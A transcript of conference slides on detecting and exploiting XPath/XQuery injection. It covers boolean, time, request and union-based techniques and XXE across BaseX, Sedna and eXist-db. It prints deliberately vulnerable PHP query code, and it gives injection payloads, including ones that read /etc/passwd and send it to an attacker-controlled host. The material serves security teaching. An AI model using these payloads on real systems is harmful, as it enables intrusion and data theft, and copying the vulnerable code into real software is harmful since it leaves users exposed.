[3.3] Detection & exploitation of Xpath/Xquery Injections - Boris Savkov

27
Detection & exploiting Xpath/Xquery injections. The other ways. Savkov Boris

Transcript of [3.3] Detection & exploitation of Xpath/Xquery Injections - Boris Savkov

Detection & exploiting Xpath/Xquery injections.

The other ways.

Savkov Boris

What will be discussed today?

• Xpath/XQuery

• Boolean-based

• Time-based

• Request-based

• Union-based

• Xquery DB

• XXE in XQuery

Reasons?

• injection class vulnerability

• prevalence

XPath

XPath is used to navigate through elements and attributes in an XML document. XPath became a W3C Recommendation 16. November 1999. XPath is a major element in W3C's XSLT standard - and XQuery and XPointer are both built on XPath expressions Standards: 1.0, 2.0, 3.0.

XPath examples

/.../node[@attribute=value]/.../text()

• child::text() • child::node() • attribute::node() • child::processing-instruction() • child::comment() • child::namespace-uri() • name(/…/node)

XPath examples <root>

<?xml-stylesheet type="text/css" href="mystyle.css" ?> <namespace xmlns="http://www.w3.org/1999/xhtml"/> <News>

<current_news> <page ID="1">

<!-- this is comment1 --> <info>British people are my only 'boss' on EU reform, says David Cameron</info>

</page> <page ID="2">

<!-- this is comment1 --> <info>BoE says part of banking payment system down</info>

</page> </current_news>

</News> </root>

/root/News/current_news/page[@ID='1']/info/ //page[1]//text()

/*[1]/*[3]/*[1]/*[1]/*[1]/text()

XQuery

XQuery is to XML what SQL is to database tables. XQuery 1.0 became a W3C Recommendation January 23, 2007. XQuery is designed to query XML data - not just XML files, but anything that can appear as XML, including databases.

Standards: 1.0, 3.0.

XQuery examples

<root> <?xml-stylesheet type="text/css" href="mystyle.css" ?> <namespace xmlns="http://www.w3.org/1999/xhtml"/> <News>

<current_news> <page ID="1">

<!-- this is comment1 --> <info>British people are my only 'boss' on EU reform, says David Cameron</info>

</page> <page ID="2">

<!-- this is comment1 --> <info>BoE says part of banking payment system down</info>

</page> </current_news>

</News> </root> for $i in doc("examples/example.xml")//page[@ID="1"]/info/text() return <h3> {$i} </h3>

XQuery Databases

Sedna 3.5, BaseX 8.11, eXit-db 2.2.

Boolean-based

• count()

• string-length()

• substring(,,) 1'and count(/*[1])=1 and '1'='1 1'and string-length(name(/*[1]))=4 and '1'='1 1'and substring(name(/*[1]),1,'r')=1 and '1'='1

XML document

<Root>

<News ID="1">

<info>British people are my only 'boss' on EU reform, says David Cameron</info>

</News>

<News ID="2">

<info>BoE says part of banking payment system down</info>

</News>

<News ID="3">

<info>Current exchange rate US DOLLAR (USD) - ≤50 RUSSIAN RUBLE (RUB)</info>

</News>

</Root>

Vulnerable code

public function select($param) { $this->session->execute("open ".$this->database); $input = 'for $i in doc("tests/news.xml")//News[@ID="'.$param.'"]'. '/info/text() return <h3> {$i} </h3>'; $query = $this->session->query($input); while($query->more()) { print $query->next()."\n"; } $query->close(); }

1" and "1"="0

1" and "1"="1

Time-based

• root()

• if-then

• 1'and reverse(-9999 to 9999)=0 and '1'='1

XML document <Root>

<Users>

<UID>18923172</UID>

<FirstName>Arnold</FirstName>

<LastName>Baker</LastName>

<UserName>ABaker</UserName>

<Password>53282c05d16f28057602d1253757c289</Password>

<Type>Admin</Type>

</Users>

<Users>

<UID>94203127</UID>

<FirstName>Peter</FirstName>

<LastName>Pan</LastName>

<UserName>PPan</UserName>

<Password>5f276221c0860f39e17846f2c29d507e</Password>

<Type>User</Type>

</Users>

<Users>

<UID>57394309</UID>

<FirstName>Gandalf</FirstName>

<LastName>the Grey</LastName>

<UserName>Mithrandir</UserName>

<Password>c5f7d86f237453de41c38a7d886c5a9c</Password>

<Type>User</Type>

</Users>

</Root>

Vulnerable code

public function select($uid, $username)

{

$this->session->execute("open ".$this->database);

$input = 'doc("tests/users.xml")//Users[./UserName="'.$username.'"]/*[name()="UID"]/text()';

$query = $this->session->query($input);

if($query->next() === $uid){

$query->close();

$input = 'for $i in doc("tests/users.xml")//Users[./UID="'.$uid.'"]'.

'/*[name()="FirstName" or name()="LastName"]/text() return <h3> {$i} </h3>';

$query = $this->session->query($input);

while($query->more()) {

print $query->next()."\n";

}

}

$query->close();

}

False

True

Request-based

•doc

• concaten

• code-for-uri

doc(concat("Your public ip",encode-for-uri(name(/*[1])))

Remarks

• Doesn't work in Sedna • XXE with doc

doc(concat("Your public ip",encode-for-uri(doc("Your public ip/XXE.xml"))))

• unparsed-text

doc(concat("Your public ip",encode-for-uri(unparsed-text("/etc/passwd"))))

• XXE and BaseX

doc(concat("http://192.168.56.101:9090/",encode-for-uri(doc("<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE input [<!ELEMENT input (#PCDATA)><!ENTITY c SYSTEM '/etc/passwd'>]><input>&amp;c;</input> "))))

Union-based

0' and 1=0] | //* | /*['0

Sedna

BaseX

eXist-db

Questions?